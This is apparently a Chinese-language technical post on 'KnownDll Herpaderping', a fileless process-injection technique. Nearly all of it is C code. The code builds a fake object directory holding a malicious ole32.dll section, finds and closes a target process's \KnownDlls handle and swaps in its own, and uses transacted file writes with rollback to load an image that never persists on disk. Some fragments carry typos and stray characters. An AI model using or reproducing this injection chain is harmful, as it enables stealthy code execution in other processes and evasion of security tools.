KnownDll Herpaderping实现无文件进程注入

  UNICODE_STRING usDirectoryName;  RtlInitUnicodeString(&usDirectoryName, L"\test");  InitializeObjectAttributes(&oaDirectory, &usDirectoryName, 0, NULL, NULL);  NtCreateDirectoryObject(&hDirectory, DIRECTORY_ALL_ACCESS, &oaDirectory)));

  HANDLE hFile = INVALID_HANDLE_VALUE;  IO_STATUS_BLOCK iosb;  OBJECT_ATTRIBUTES oaFackDllPath;  UNICODE_STRING usFackDllPath;  RtlDosPathNameToNtPathName_U(my_fackdll, &usFackDllPath, NULL, NULL); // 转换DLL文件路径为NT路径  InitializeObjectAttributes(&oaFackDllPath, &usFackDllPath, OBJ_CASE_INSENSITIVE, NULL, NULL);  NtOpenFile(&hFile, FILE_GENERIC_READ | FILE_GENERIC_WRITE | FILE_GENERIC_EXECUTE, &oaFackDllPath, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, 0)

// section的对象名称需要为被劫持的DLL名，RootDirectory为第一步中的根目录对象    UNICODE_STRING usTarget;  OBJECT_ATTRIBUTES oaTarget;  RtlInitUnicodeString(&usTarget, L"ole32.dll");  InitializeObjectAttributes(&oaTarget, &usTarget, OBJ_CASE_INSENSITIVE, hDirectory, NULL);
  // 创建 section， 绑定恶意文件句柄  HANDLE hSection;  NtCreateSection(&hSection, SECTION_ALL_ACCESS, &oaTarget, NULL, PAGE_READONLY, SEC_IMAGE, hFile);

  hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME, FALSE, pid);
  /*  ... 这一步需要通过 NtQuerySystemInformation 来枚举系统句柄信息，获取目标进程内名为 “\KnownDlls” 的句柄值  */

  // 循环读取系统Handle信息    while ((st = NtQuerySystemInformation(SystemHandleInformation, pHandleInfoList, dwHandleInfoListSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)        pHandleInfoList = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfoList, dwHandleInfoListSize *= 2);
  ...  // NtQuerySystemInformation 循环处理    for (size_t i = 0; i < pHandleInfoList->NumberOfHandles; i++) {        PSYSTEM_HANDLE_TABLE_ENTRY_INFO pHandleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&(pHandleInfoList->Handles[i]);
    ...     /*      过滤掉一些影响 NtDuplicateObject 和 NtQueryObject的 GrantedAccess 值之后    */
        // duplicate the handle object        HANDLE dupHandle = NULL;        st = NtDuplicateObject(hProcess, (HANDLE)pHandleInfo->HandleValue, GetCurrentProcess(), &dupHandle, 0, FALSE, DUPLICATE_SAME_ACCESS);        if (!NT_SUCCESS(st))             continue;
    ...          /*     成功后 NtQueryObject 查询Handle具体的名称信息， 判断是否为 \KnownDlls     */
        st = NtQueryObject(dupHandle, ObjectNameInformation, pObjNameInfo, objNameInfoSize, &objNameInfoSize);        if (!NT_SUCCESS(st))        {            free(pObjNameInfo);            NtClose(dupHandle);            continue;        }
        if (pObjNameInfo->Name.Buffer != NULL)         {            if (!lstrcmpW(pObjNameInfo->Name.Buffer, L"\KnownDlls"))            {                hKnownDll = (HANDLE)pHandleInfo->HandleValue;                break;            }        }

  NtSuspendProcess(hProcsss); // 挂起进程  DuplicateHandle(hProcsss, target_handle, GetCurrentProcess(), NULL, 0, TRUE, DUPLICATE_CLOSE_SOURCE)); // 关闭远程的 “\KnownDlls” 句柄  DuplicateHandle(GetCurrentProcess(), hDirectory, hProcsss, NULL, 0, TRUE, DUPLICATE_SAME_ACCESS)); // 将我们创建的目录对象复制到目标进程中  NtResumeProcess(hProcsss); // 恢复进程  CloseHandle(hProcsss);

 HANDLE hTransaction; st = NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, &oa, NULL, NULL, 0, 0, 0, NULL, NULL);

// szFilePath 为 c:windowole32.dll 目标文件路径HANDLE hTransactedFile = CreateFileTransactedW(szFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL); WriteFile(hTransactedFile, buffer, bufferLen, &dwWrited, NULL);

NtCreateSection(pSectionHandle, SECTION_ALL_ACCESS, pSectionOA, 0, PAGE_READONLY, SEC_IMAGE, hTransactedFile);

NtRollbackTransaction(hTransaction, TRUE)